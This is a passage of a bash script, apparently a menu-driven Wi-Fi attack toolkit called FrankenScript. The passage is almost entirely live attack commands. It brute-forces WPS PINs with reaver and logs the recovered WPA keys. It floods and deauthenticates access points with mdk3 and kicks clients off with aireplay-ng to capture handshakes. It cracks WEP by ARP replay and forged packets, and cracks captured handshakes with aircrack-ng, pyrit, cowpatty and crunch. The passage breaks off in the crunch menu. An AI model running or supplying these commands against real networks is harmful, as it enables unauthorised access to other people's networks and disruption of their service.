  670.    reaver -i mon0 -c $AP_channel -b $AP_bssid -p $easybox -d 2 -t 2 -T 2 -vv -C "sed -i 's/^....//' reaver.txt && cat reaver.txt | grep 'AP SSID' | sed 's/AP SSID/AP ESSID/' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPS PIN:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPA PSK:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt" | tee reaver.txt
  671.    rm reaver.txt
  672.    echo ""
  673.    fi
  674.  
  675. if [[ $PinOption == "4" ]]; then
  676.    clear
  677.    echo $RED"Reaver Attack Command:"$STAND
  678.    echo "reaver -i mon0 -c $AP_channel -b $AP_bssid -p $PIN4REAVER -d 2 -t 2 -T 2 -vv"
  679.    echo ""
  680.    read -p $GREEN"Press [Enter] to launch the attack.$STAND"
  681.    clear
  682.    reaver -i mon0 -c $AP_channel -b $AP_bssid -p $PIN4REAVER -d 2 -t 2 -T 2 -vv -C "sed -i 's/^....//' reaver.txt && cat reaver.txt | grep 'AP SSID' | sed 's/AP SSID/AP ESSID/' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPS PIN:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPA PSK:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt" | tee reaver.txt
  683.    rm reaver.txt
  684.    echo ""
  685.    fi ;;
  686.  
  687. 2)
  688. clear
  689. echo $RED"Current Reaver Attack Command:"$STAND
  690. echo "reaver -i mon0 -c $AP_channel -b $AP_bssid $ReaverOptions"
  691. echo ""
  692. read -p $GREEN"Please input any additional reaver options (eg: -vv):$STAND " ReaverOptions
  693. echo ""
  694. echo $RED"New Reaver Attack Command:"$STAND
  695. echo "reaver -i mon0 -c $AP_channel -b $AP_bssid $ReaverOptions"
  696. echo ""
  697. read -p $GREEN"Press [Enter] to launch the attack.$STAND"
  698. reaver -i mon0 -c $AP_channel -b $AP_bssid $ReaverOptions -C "sed -i 's/^....//' reaver.txt && cat reaver.txt | grep 'AP SSID' | sed 's/AP SSID/AP ESSID/' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPS PIN:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPA PSK:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt" | tee reaver.txt
  699. rm reaver.txt
  700.  
  701. ################## START OF: MDK3 ACCESS POINT RESET ############################################
  702.  
  703. echo ""
  704. echo ""
  705. echo $GREEN"Would you like to try to reset the access point? Y/n"$STAND
  706. read a
  707. if [[ $a == "Y" || $a == "y" || $a = "" ]]; then
  708.  
  709.    echo "Press the [Enter] button 3 times on the kismet screen, wait 5-10 seconds then press Ctrl+c."
  710.    kismet ncsource=mon0:hop=true
  711.    sleep 5
  712.  
  713.    echo ""
  714.    echo $RED"Target essid:$STAND $AP_essid"
  715.    echo ""
  716.    read -p $GREEN"Please input the above target essid.$STAND" MDK3_Target
  717.    echo ""
  718.    cat $HOME/FrankenScript/temp/*.nettxt | sed -n "/$MDK3_Target/,/Channel/p"
  719.  
  720.    echo 'AP_bssid="'"$AP_bssid"'"' > MDK3_APbssid.txt
  721.    sleep 1
  722.    echo 'AP_channel="'"$AP_channel"'"' > MDK3_APchannel.txt
  723.    sleep 1
  724.    cat MDK3_APbssid.txt | sed 's/AP_bssid=//' | sed 's/"//g' > MDK3_APbssid_1.txt
  725.    sleep 1
  726.    cat MDK3_APchannel.txt | sed 's/AP_channel=//' | sed 's/"//g' > MDK3_APchannel_1.txt
  727.    sleep 1
  728.    echo $AP_bssid > Blacklist.txt
  729.  
  730.    echo ""
  731.    echo $GREEN"Does the access point support WAP+TKIP?"
  732.    echo $GREEN"[1]$BLUE = Yes."
  733.    echo $GREEN"[2]$BLUE = No."
  734.    echo $GREEN"1 or 2?"$STAND
  735.    read option
  736.  
  737.    if [[ $option == "1" ]]; then
  738.  
  739.       read -s -n1 -p $GREEN"Would you like to scan for clients connected to the target access point? Y/n:$STAND  " ClientScan
  740.  
  741.       if [[ $ClientScan == "Y" || $ClientScan == "y" ]]; then
  742.          xterm -geometry 111x24+650+0 -e airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0
  743.          echo ""
  744.          echo ""
  745.       fi
  746.  
  747.       echo $GREEN"Did the access point have any clients connected to it?"
  748.       echo $GREEN"[1]$BLUE = Yes."
  749.       echo $GREEN"[2]$BLUE = No."
  750.       echo $GREEN"1 or 2?"$STAND
  751.       read MDK3_ClientChoice
  752.  
  753.       if [[ $MDK3_ClientChoice == "1" ]]; then
  754.  
  755.          echo '#!/bin/bash
  756.  
  757. RED=$(tput setaf 1 && tput bold)
  758. GREEN=$(tput setaf 2 && tput bold)
  759. STAND=$(tput sgr0)
  760.  
  761. AP_bssid=$(cat $HOME/FrankenScript/temp/MDK3_APbssid_1.txt)
  762. sleep 1
  763. AP_channel=$(cat $HOME/FrankenScript/temp/MDK3_APchannel_1.txt)
  764. echo ""
  765. echo $GREEN"Press Ctrl+c on this screen to terminate the MDK3 attack and continue.$STAND"
  766.  
  767.   xterm -geometry 100x10+675+0 -e "mdk3 mon0 a -a $AP_bssid -m" &
  768.   xterm -geometry 100x10+675+185 -e "mdk3 mon0 d -b $HOME/FrankenScript/temp/Blacklist.txt -c $AP_channel" &
  769.   xterm -geometry 100x10+675+345 -e "mdk3 mon0 b -t $AP_bssid" &
  770.   xterm -geometry 100x10+675+345 -e "mdk3 mon0 m -t $AP_bssid -j" &
  771.  
  772. while :
  773. do
  774.   xterm -geometry 95x20+0+500 -e "airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0" &
  775.   sleep 20
  776.   kill `pidof airodump-ng`
  777. done' > $HOME/FrankenScript/temp/MDK3_AP_Reset.sh
  778.  
  779.       fi
  780.  
  781.       if [[ $MDK3_ClientChoice == "2" ]]; then
  782.  
  783.          echo '#!/bin/bash
  784.  
  785. RED=$(tput setaf 1 && tput bold)
  786. GREEN=$(tput setaf 2 && tput bold)
  787. STAND=$(tput sgr0)
  788.  
  789. AP_bssid=$(cat $HOME/FrankenScript/temp/MDK3_APbssid_1.txt)
  790. sleep 1
  791. AP_channel=$(cat $HOME/FrankenScript/temp/MDK3_APchannel_1.txt)
  792. echo ""
  793. echo $GREEN"Press Ctrl+c on this screen to terminate the MDK3 attack and continue.$STAND"
  794.  
  795.   xterm -geometry 100x10+675+0 -e "mdk3 mon0 a -a $AP_bssid -m" &
  796.   xterm -geometry 100x10+675+185 -e "mdk3 mon0 d -b $HOME/FrankenScript/temp/Blacklist.txt -c $AP_channel" &
  797.   xterm -geometry 100x10+675+345 -e "mdk3 mon0 b -t $AP_bssid" &
  798.   xterm -geometry 100x10+675+345 -e "mdk3 mon0 m -t $AP_bssid" &
  799.  
  800. while :
  801. do
  802.   xterm -geometry 95x20+0+500 -e "airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0" &
  803.   sleep 20
  804.   kill `pidof airodump-ng`
  805. done' > $HOME/FrankenScript/temp/MDK3_AP_Reset.sh
  806.  
  807.       fi
  808.       fi
  809.  
  810.    if [[ $option == "2" ]]; then
  811.  
  812.    echo '#!/bin/bash
  813.  
  814. RED=$(tput setaf 1 && tput bold)
  815. GREEN=$(tput setaf 2 && tput bold)
  816. STAND=$(tput sgr0)
  817.  
  818. AP_bssid=$(cat $HOME/FrankenScript/temp/MDK3_APbssid_1.txt)
  819. sleep 1
  820. AP_channel=$(cat $HOME/FrankenScript/temp/MDK3_APchannel_1.txt)
  821. echo ""
  822. echo $GREEN"Press Ctrl+c on this screen to terminate the MDK3 attack and continue.$STAND"
  823.  
  824.   xterm -geometry 100x10+675+0 -e "mdk3 mon0 a -a $AP_bssid -m" &
  825.   xterm -geometry 100x10+675+185 -e "mdk3 mon0 d -b $HOME/FrankenScript/temp/Blacklist.txt -c $AP_channel" &
  826.   xterm -geometry 100x10+675+345 -e "mdk3 mon0 b -t $AP_bssid" &
  827.  
  828. while :
  829. do
  830.   xterm -geometry 95x20+0+500 -e "airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0" &
  831.   sleep 20
  832.   kill `pidof airodump-ng`
  833. done' > $HOME/FrankenScript/temp/MDK3_AP_Reset.sh
  834.  
  835.    fi
  836.  
  837.    sleep 1
  838.    chmod +x $HOME/FrankenScript/temp/MDK3_AP_Reset.sh
  839.    sleep 1
  840.    Eterm -g 100x10-640-500 --cmod "red" -T "Main Window - Press Ctrl+c to exit MDK3" -e sh -c "$HOME/FrankenScript/temp/MDK3_AP_Reset.sh; bash"
  841.    rm $HOME/FrankenScript/temp/Blacklist.txt
  842.  
  843. if [[ $a == "N" || $a == "n" ]]; then
  844.    echo ""
  845. fi
  846. fi
  847. ################## END OF: MDK3 ACCESS POINT RESET ############################################
  848.  
  849. echo "" ;;
  850. 0) exit 0;;
  851. *) echo "";
  852. echo "Press [Enter] to continue. . ." ; read ;;
  853. esac
  854.  
  855. ############## End Of Reaver Attacks And Store Recovered Passkey ##############
  856.  
  857. ######################## LOOP ############################################
  858.  
  859. clear
  860. read -s -n1 -p $RED"Choose another target or return to the main menu:$GREEN
  861. y $BLUE= Choose another target.$GREEN
  862. n $BLUE= Return to main menu.$GREEN
  863. Please choose y/n?$STAND: " CONFIRM
  864. case $CONFIRM in
  865. n|N|NO|no|No)
  866. break ;;
  867. *) echo "" ;;
  868. esac
  869. done
  870.  
  871. ############## End Of Loop Section ##############
  872.  
  873. ############## Start Of Cleanup ##############
  874.  
  875. rm *.txt
  876. rm *.py
  877. cd
  878. ############## End Of Cleanup ##############
  879. ;;
  880.  
  881. ###### [4] Capture WPA/WPA2 Handshake ######
  882. 4)
  883. cd $HOME/FrankenScript/temp
  884. clear
  885. echo $RED"Scan for possible targets."
  886. echo $GREEN"Once you've identified a target press Ctrl-C to exit the scan and to continue."
  887. read -p $GREEN"Press [Enter] to start the scan.$STAND"
  888.  
  889. xterm -geometry 111x35+650+0 -l -lf WPA_Scan.txt -e airodump-ng --encrypt WPA mon0
  890.  
  891. tac WPA_Scan.txt | grep 'CIPHER' -m 1 -B 9999 | tac | sed -n '/STATION/q;p' | grep "PSK" | sed -r -e 's/\./ /' | sed '/<length:  0>/d' > temp0.txt
  892. cat temp0.txt | sed 's/^..........................................................................//' | nl -ba -w 1  -s ':  ' | awk '{ print $1, $2 }' | sed 's/^1:/ 1:/' | sed 's/^2:/ 2:/' | sed 's/^3:/ 3:/' | sed 's/^4:/ 4:/' | sed 's/^5:/ 5:/' | sed 's/^6:/ 6:/' | sed 's/^7:/ 7:/' | sed 's/^8:/ 8:/' | sed 's/^9:/ 9:/' > PresentedAPs.txt
  893. sleep 1
  894.  
  895. PresentedAPs=$(cat PresentedAPs.txt)
  896. sleep 1
  897. echo ""
  898. echo "Please choose an AP"
  899. echo ""
  900. echo "$PresentedAPs"
  901. echo ""
  902. read -p $GREEN"Please input the number of your chosen target:$STAND " Chosen_AP
  903. echo ""
  904.  
  905. Chosen_AP_Details=$(cat temp0.txt | sed -n ""$Chosen_AP"p")
  906. AP_essid=`echo "$Chosen_AP_Details" | awk '{ print $11 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  907. AP_bssid=`echo "$Chosen_AP_Details" | awk '{ print $1 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  908. AP_channel=`echo "$Chosen_AP_Details" | awk '{ print $6 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  909.  
  910. clear
  911. echo $RED"Chosen Target Details."$STAND
  912. echo $RED"Aceess Point essid$STAND: $AP_essid"
  913. echo $RED"Aceess Point bssid$STAND: $AP_bssid"
  914. echo $RED"Aceess Point Channel Number$STAND: $AP_channel"
  915.  
  916. echo ""
  917. echo $RED"Scan for clients connected to$STAND $AP_essid"
  918. echo $RED"Once you have identified the client you wish to target press Ctrl-C to exit"$STAND
  919. read -p $GREEN"Press [Enter] to start the scan."$STAND
  920.  
  921. xterm -geometry 100x20+650+0 -l -lf WPA_ClientScan.txt -e airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0
  922.  
  923. while true
  924. do
  925.  
  926. tac WPA_ClientScan.txt | grep 'CIPHER' -m 1 -B 9999 | tac | sed -r -e 's/\./ /' | sed '$d' | sed '1,6d' | awk '{ print $2 }' > temp1.txt
  927. cat temp1.txt | nl -ba -w 1  -s ': ' > ConnectedClientsScan.txt
  928. ConnectedClientsScan=$(cat ConnectedClientsScan.txt)
  929.  
  930. sleep 2
  931. echo ""
  932. echo $RED"Please choose a client MAC address"$STAND
  933. echo ""
  934. echo "$ConnectedClientsScan"
  935. echo ""
  936. read -p $GREEN"Please input the number of your chosen client MAC address:$STAND " Chosen_Client
  937. echo ""
  938.  
  939. sleep 1
  940. Chosen_Client_MAC=$(cat temp1.txt | sed -n ""$Chosen_Client"p")
  941. echo ""
  942. echo $RED"Chosen Client MAC Address."$STAND
  943. echo "$Chosen_Client_MAC"
  944. echo ""
  945.  
  946. xterm -geometry 100x20+675+0 -e "airodump-ng -c $AP_channel --ignore-negative-one -w psk --bssid $AP_bssid mon0" &
  947.  
  948. echo $RED"Choose an option:"
  949. echo $GREEN"[1]$BLUE = De-Authenticate The Chosen Client?."
  950. echo $GREEN"[2]$BLUE = De-Authenticate All Connected Clients?."
  951. echo $GREEN"[3]$BLUE = Choose another client."
  952. echo $GREEN"1, 2, or 3?"$STAND
  953. read option
  954.  
  955. if [[ $option == "1" ]]; then
  956.        echo "De-Authenticate a single client."
  957.        xterm -geometry 100x20+675+350 -e  "aireplay-ng -0 10 --ignore-negative-one -a $AP_bssid -c $Chosen_Client_MAC mon0"
  958.        fi
  959. if [[ $option == "2" ]]; then
  960.        echo "De-Authenticate all connected clients."
  961.        xterm -geometry 100x20+675+350 -e  "aireplay-ng -0 10 --ignore-negative-one -a $AP_bssid mon0"
  962.        fi
  963. if [[ $option == "3" ]]; then
  964.        clear
  965. echo "Please choose a client"
  966.        echo ""
  967.        echo "$ConnectedClientsScan"
  968.        echo ""
  969.        read -p $GREEN"Please input the number of the chosen client:$STAND " Chosen_Client
  970.        echo ""
  971.        Chosen_Client_MAC=$(cat temp1.txt | sed -n ""$Chosen_Client"p")
  972.        echo ""
  973.        echo "Chosen Target Details."
  974.        echo "$Chosen_Client_MAC"
  975.        sleep 4
  976.        fi
  977.  
  978. clear
  979. echo -n $GREEN"Re-send de-auth request or choose another client? (y or n)$STAND: "
  980. read -e CONFIRM
  981. case $CONFIRM in
  982. n|N|NO|no|No)
  983. break ;;
  984. *) echo "" ;;
  985. esac
  986. done
  987.  
  988. rm WPA_Scan.txt
  989. rm temp0.txt
  990. rm PresentedAPs.txt
  991.  
  992. rm WPA_ClientScan.txt
  993. rm temp1.txt
  994. rm ConnectedClientsScan.txt
  995.  
  996. kill `pidof airodump-ng`
  997. rm *.csv
  998. rm *.netxml
  999. mv *.cap $HOME/FrankenScript/Captured_Handshakes/$AP_essid.cap
  1000. cd
  1001. ;;
  1002.  
  1003. ###### [5] WEP Attacks ######
  1004. 5)
  1005. cd $HOME/FrankenScript/temp
  1006. clear
  1007. echo $RED"Scan for possible targets."$STAND
  1008. echo $GREEN"Once you've identified a target press Ctrl-C to exit the scan and to continue."$STAND
  1009. read -p $GREEN"Press [Enter] to start the scan.$STAND"
  1010.  
  1011. xterm -geometry 111x35+650+0 -l -lf WEP_Scan.txt -e airodump-ng --encrypt WEP mon0
  1012.  
  1013. sleep 1
  1014. tac WEP_Scan.txt | grep 'CIPHER' -m 1 -B 9999 | tac | sed -n '/STATION/q;p' | sed '1,2d' | sed '$d' | sed '/<length:  0>/d' > temp0.txt
  1015. sleep 1
  1016. PresentedAPs=$(cat temp0.txt | awk '{ print $10 }' | nl -ba -w 1  -s ':  ' | sed 's/^[ \t]*//;s/[ \t]*$//' )
  1017.  
  1018. clear
  1019. echo $RED"Please choose a target"$STAND
  1020. echo ""
  1021. echo "$PresentedAPs"
  1022. echo ""
  1023. read -p $GREEN"Please input the number of your chosen target:$STAND " Chosen_AP
  1024. echo ""
  1025.  
  1026. Chosen_AP_Details=$(cat temp0.txt | sed -n ""$Chosen_AP"p")
  1027. AP_essid=`echo "$Chosen_AP_Details" | awk '{ print $10 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  1028. AP_bssid=`echo "$Chosen_AP_Details" | awk '{ print $1 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  1029. AP_channel=`echo "$Chosen_AP_Details" | awk '{ print $6 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  1030.  
  1031. clear
  1032. echo $RED"Chosen Target Details."$STAND
  1033. echo $RED"Aceess Point essid$STAND: $AP_essid"
  1034. echo $RED"Aceess Point bssid$STAND: $AP_bssid"
  1035. echo $RED"Aceess Point Channel Number$STAND: $AP_channel"
  1036. echo ""
  1037. echo $RED"Scan for clients connected to$STAND $AP_essid."
  1038. echo $RED"When you've identified a target press Ctrl-C to exit.$STAND"
  1039. read -p $GREEN"Press [Enter] to start the scan."$STAND
  1040.  
  1041. sleep 1
  1042. xterm -geometry 111x35+650+0 -l -lf WEP_ClientScan.txt -e airodump-ng -c $AP_channel --bssid $AP_bssid mon0
  1043.  
  1044. echo ""
  1045. echo $GREEN"Did the access point have any clients connected to it?. (y/n)$STAND"
  1046. read answer
  1047.  
  1048. if [[ $answer == "y" || $answer == "Y" ]]; then
  1049.  
  1050.        tac WEP_ClientScan.txt | grep 'STATION' -m 1 -B 9999 | tac | awk '{ print $2 }' | sed '1,2d' | sed '$d' > ClientScan.txt
  1051.        sleep 2
  1052.        PresentedClients=$(cat ClientScan.txt | awk '{ print $1 }' | nl -ba -w 1  -s ':  ' | sed 's/^[ \t]*//;s/[ \t]*$//')
  1053.        
  1054.        sleep 2
  1055.        clear
  1056.        echo "Please choose a client"
  1057.        echo ""
  1058.        echo "$PresentedClients"
  1059.        echo ""
  1060.        
  1061.        read -p $GREEN"Please input the number of your chosen target:$STAND " Chosen_Client
  1062.        echo ""
  1063.  
  1064.        Chosen_ClientMAC=$(cat ClientScan.txt | sed -n ""$Chosen_Client"p")
  1065.        ClientMAC=`echo "$Chosen_AP_Details" | awk '{ print $1 }' | sed 's/^[ \t]*//;s/[ \t]*$//'`
  1066.  
  1067.        echo $RED"You've chosen:"
  1068.        echo $RED"Client$STAND: $ClientMAC"
  1069.        echo ""
  1070.        
  1071.        while true
  1072.        do
  1073.  
  1074.        read -p $GREEN"Press [Enter] to start the attack.$STAND"
  1075.        xterm -e "airodump-ng -w capture --bssid $AP_bssid -c $AP_channel mon0" &
  1076.        xterm -e "sleep 1 && aireplay-ng -1 0 -e $AP_essid -a $AP_bssid -h $ClientMAC --ignore-negative-one mon0" &
  1077.        xterm -e "sleep 1 && aireplay-ng -3 -b $AP_bssid -h $ClientMAC --ignore-negative-one mon0" &
  1078.        echo $RED"NOTE: There's a 60 second delay before Aircrack-ng starts the cracking process."
  1079.        echo "Please wait for aircrack to start...$STAND"
  1080.        sleep 60
  1081.        aircrack-ng -b $AP_bssid *.cap -l WEPpasskey.txt
  1082.        sleep 2
  1083.        passkey=$(cat WEPpasskey.txt)
  1084.        sleep 2
  1085.        kill `pidof xterm`
  1086.        echo ""
  1087.        echo $RED"Target essid$STAND: $AP_essid"
  1088.        echo $RED"Target bssid$STAND: $AP_bssid"
  1089.        echo $RED"Target Pass-Key$STAND: $passkey"
  1090.  
  1091.        echo -n $GREEN"Was the attack successful? (y or n)$STAND: "
  1092.        read -e CONFIRM
  1093.        case $CONFIRM in
  1094.        y|Y|YES|yes|Yes)
  1095.        break ;;
  1096.        *) echo $RED"Please re-enter information$STAND" ;;
  1097.        esac
  1098.        done
  1099.  
  1100.        echo AP ESSID: $AP_essid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1101.        echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1102.        echo WEP Passkey: $passkey >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1103.        echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1104.        cd
  1105.        fi
  1106. if [[ $answer == "n" || $answer == "N" ]]; then
  1107.        while true
  1108.        do
  1109.  
  1110.        echo $RED"Starting packet capture, press Ctrl+c to end it"$STAND
  1111.        xterm -geometry 100x20+675+0 -e "airodump-ng -c $AP_channel --bssid $AP_bssid --ivs -w capture mon0" & AIRODUMPPID=$!
  1112.        sleep 2
  1113.        aireplay-ng -1 0 -a $AP_bssid -h $mon0mac --ignore-negative-one mon0
  1114.        sleep 2
  1115.        aireplay-ng -5 -b $AP_bssid -h $mon0mac --ignore-negative-one mon0
  1116.        sleep 2
  1117.        packetforge-ng -0 -a $AP_bssid -h $mon0mac -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet mon0
  1118.        sleep 2
  1119.        xterm -geometry 100x20+675+100 -e "aireplay-ng -2 -r arp-packet --ignore-negative-one mon0" & AIREPLAYPID=$!
  1120.        sleep 2
  1121.  
  1122.        echo ""
  1123.        echo $GREEN"Attempt to crack the passkey if the data increases, Is the data increasing?. (y/n)$STAND"
  1124.        read option
  1125.        
  1126.        if [[ $option == "y" ]]; then
  1127.               aircrack-ng -n 128 -b $AP_bssid *.ivs -l WEPpasskey.txt
  1128.               passkey=$(cat WEPpasskey.txt)
  1129.               rm WEPpasskey.txt
  1130.               kill ${AIRODUMPPID}
  1131.               kill ${AIREPLAYPID}
  1132.               rm *.ivs
  1133.               rm *.cap
  1134.               rm *.xor
  1135.               rm arp-packet
  1136.               echo AP ESSID: $AP_essid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1137.               echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1138.               echo WEP Passkey: $passkey >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1139.               echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt
  1140.               fi
  1141.  
  1142.        echo -n $GREEN"Was the attack successful? (y or n)$STAND: "
  1143.        read -e CONFIRM
  1144.        case $CONFIRM in
  1145.        y|Y|YES|yes|Yes)
  1146.        break ;;
  1147.        *) echo ""
  1148.        esac
  1149.        done
  1150.        fi
  1151.        cd
  1152. ;;
  1153.  
  1154. ###### [6] Attack Handshake.cap Files ######
  1155. 6)
  1156. clear
  1157. echo $RED"###################################"
  1158. echo "#                                 #"
  1159. echo "#         With a wordlist         #"
  1160. echo "# $GREEN[1]$BLUE = Aircrack-ng               $RED#"
  1161. echo "# $GREEN[2]$BLUE = Pyrit                     $RED#"
  1162. echo "# $GREEN[3]$BLUE = Pyrit + Cowpatty          $RED#"
  1163. echo "#                                 #"
  1164. echo "#       Without a wordlist        #"
  1165. echo "# $GREEN[4]$BLUE = Crunch + Aircrack-ng      $RED#"
  1166. echo "# $GREEN[5]$BLUE = Crunch + Pyrit            $RED#"
  1167. echo "# $GREEN[6]$BLUE = Crunch + Pyrit + Cowpatty $RED#"
  1168. echo "#                                 #"
  1169. echo "###################################"
  1170. echo
  1171. echo $GREEN"Choose an option?"$STAND
  1172. read option
  1173. if [[ $option == "1" ]]; then
  1174.    clear
  1175.    echo $RED
  1176.    echo "############################################"
  1177.    echo "#                                          #"
  1178.    echo "#$STAND   Attack Capture File Using A Wordlist   $RED#"
  1179.    echo "#$STAND              (Aircrack-ng)               $RED#"
  1180.    echo "#                                          #"
  1181.    echo "############################################"
  1182.    echo
  1183.    echo $RED"eg: /root/Desktop/sky12345.cap"
  1184.    read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1185.    echo
  1186.    echo $RED"eg: /root/Desktop/wordlist.txt"
  1187.    read -p $GREEN"Wordlist location, name, extension$STAND: " WordlistNameLocation
  1188.    clear
  1189.    # Chosen user input options
  1190.    ############################
  1191.    echo
  1192.    echo $RED"You've chosen:"
  1193.    echo "=============="
  1194.    echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1195.    echo $RED"Wordlist location, name, extension$STAND: $WordlistNameLocation"
  1196.    echo
  1197.    echo $RED"Commands to launch:"
  1198.    echo "==================="
  1199.    echo $STAND"aircrack-ng -w $WordlistNameLocation $CapNameLocation"
  1200.    echo
  1201.    # Launch chosen commands/options
  1202.    #################################
  1203.    read -p $GREEN"Press enter to start"$STAND
  1204.    clear
  1205.    aircrack-ng -w $WordlistNameLocation $CapNameLocation
  1206.    fi
  1207. if [[ $option == "2" ]]; then
  1208.    clear
  1209.    echo $RED
  1210.    echo "############################################"
  1211.    echo "#                                          #"
  1212.    echo "#$STAND   Attack Capture File Using A Wordlist   $RED#"
  1213.    echo "#$STAND                 (Pyrit)                  $RED#"
  1214.    echo "#                                          #"
  1215.    echo "############################################"
  1216. echo
  1217. echo $RED"eg: 00:11:22:33:44:55"
  1218. read -p $GREEN"Access Point bssid$STAND: " bssid
  1219. echo
  1220. echo $RED"eg: /root/Desktop/sky12345.cap"
  1221. read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1222. echo
  1223. echo $RED"eg: /root/Desktop/wordlist.txt"
  1224. read -p $GREEN"Wordlist location, name, extension$STAND: " WordlistNameLocation
  1225. clear
  1226. # Chosen user input options
  1227. ############################
  1228. echo
  1229. echo $RED"You've chosen:"
  1230. echo "=============="
  1231. echo $RED"Access Point bssid$STAND: $bssid"
  1232. echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1233. echo $RED"Wordlist location, name, extension$STAND: $WordlistNameLocation"
  1234. echo
  1235. echo $RED"Commands to launch:"
  1236. echo "==================="
  1237. echo $STAND"pyrit -r $CapNameLocation -i $WordlistNameLocation -b $bssid attack_passthrough"
  1238. echo
  1239. # Launch chosen commands/options
  1240. #################################
  1241. read -p $GREEN"Press enter to start"$STAND
  1242. clear
  1243. pyrit -r $CapNameLocation -i $WordlistNameLocation -b $bssid attack_passthrough
  1244.                  fi
  1245.                  if [[ $option == "3" ]]; then
  1246.                                   clear
  1247. echo $RED
  1248. echo "############################################################################"
  1249. echo "#                                                                          #"
  1250. echo "#$STAND                   Attack Capture File Using A Wordlist                   $RED#"
  1251. echo "#$STAND                            (Pyrit + Cowpatty)                            $RED#"
  1252. echo "#                                                                          #"
  1253. echo "############################################################################"$STAND
  1254. echo
  1255. echo $RED"eg: sky12345"
  1256. read -p $GREEN"Access Point essid$STAND: " essid
  1257. echo
  1258. echo $RED"eg: /root/Desktop/sky12345.cap"
  1259. read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1260. echo
  1261. echo $RED"eg: /root/Desktop/wordlist.txt"
  1262. read -p $GREEN"Wordlist location, name, extension$STAND: " WordlistNameLocation
  1263. clear
  1264. # Chosen user input options
  1265. ############################
  1266. echo
  1267. echo $RED"You've chosen:"
  1268. echo "=============="
  1269. echo $RED"Access Point essid$STAND: $essid"
  1270. echo $RED"Capture file location, name, extension$STAND: $CapNameLocation"
  1271. echo $RED"Wordlist location, name, extension$STAND: $WordlistNameLocation"
  1272. echo
  1273. echo $RED"Commands to launch:"
  1274. echo "==================="
  1275. echo $STAND"cat $WordlistNameLocation | pyrit -e $essid -i - -o - passthrough | cowpatty -d - -r $CapNameLocation -s $essid"
  1276. echo
  1277. # Launch chosen commands/options
  1278. #################################
  1279. read -p $GREEN"Press enter to start"$STAND
  1280. clear
  1281. cat $WordlistNameLocation | pyrit -e $essid -i - -o - passthrough | cowpatty -d - -r $CapNameLocation -s $essid
  1282.                  fi
  1283.                  if [[ $option == "4" ]]; then
  1284.                                   lear
  1285. echo $RED
  1286. echo "############################################################################"
  1287. echo "#                                                                          #"
  1288. echo "#$STAND           Attack a Capture file without using a wordlist file            $RED#"
  1289. echo "#$STAND                          (Crunch + Aircrack-ng)                          $RED#"
  1290. echo "#                                                                          #"
  1291. echo "############################################################################"$STAND
  1292. echo
  1293. echo $RED"eg: abcdef23456789"
  1294. read -p $GREEN"Input the characters, digits, or symbols to be used$STAND: " CharacterSet
  1295. echo
  1296. echo $RED"eg: 10"
  1297. read -p $GREEN"Input the minimum length of the passwords$STAND: " PasswordLengthMin
  1298. echo
  1299. echo $RED"eg: 10"
  1300. read -p $GREEN"Input the maximum length of the passwords$STAND: " PasswordLengthMax
  1301. echo
  1302. echo $RED"eg:"
  1303. echo $RED"-d <Number> = Limits the amount of times a character, digit, or symbol can appear next to its self."
  1304. echo $RED"-s XXXXXXXXXX = Start point."
  1305. read -p $GREEN"Input any other optional crunch commands?$STAND: " OptionalCrunchOptions
  1306. echo
  1307. echo $RED"eg: sky12345"
  1308. read -p $GREEN"Access Point essid$STAND: " essid
  1309. echo
  1310. echo $RED"eg: /root/Desktop/sky12345.cap"
  1311. read -p $GREEN"Capture file location, name, extension$STAND: " CapNameLocation
  1312. clear
  1313. # Chosen user input options
  1314. ############################
  1315. echo
  1316. echo $RED"You've chosen:"
  1317. echo "=============="
  1318. echo $RED"Minimum length password$STAND: $PasswordLengthMin"
  1319. echo $RED"Maximum length of password$STAND: $PasswordLengthMax"
  1320. echo $RED"Characters, digits, symbols to be used in the passwords$STAND: $CharacterSet"
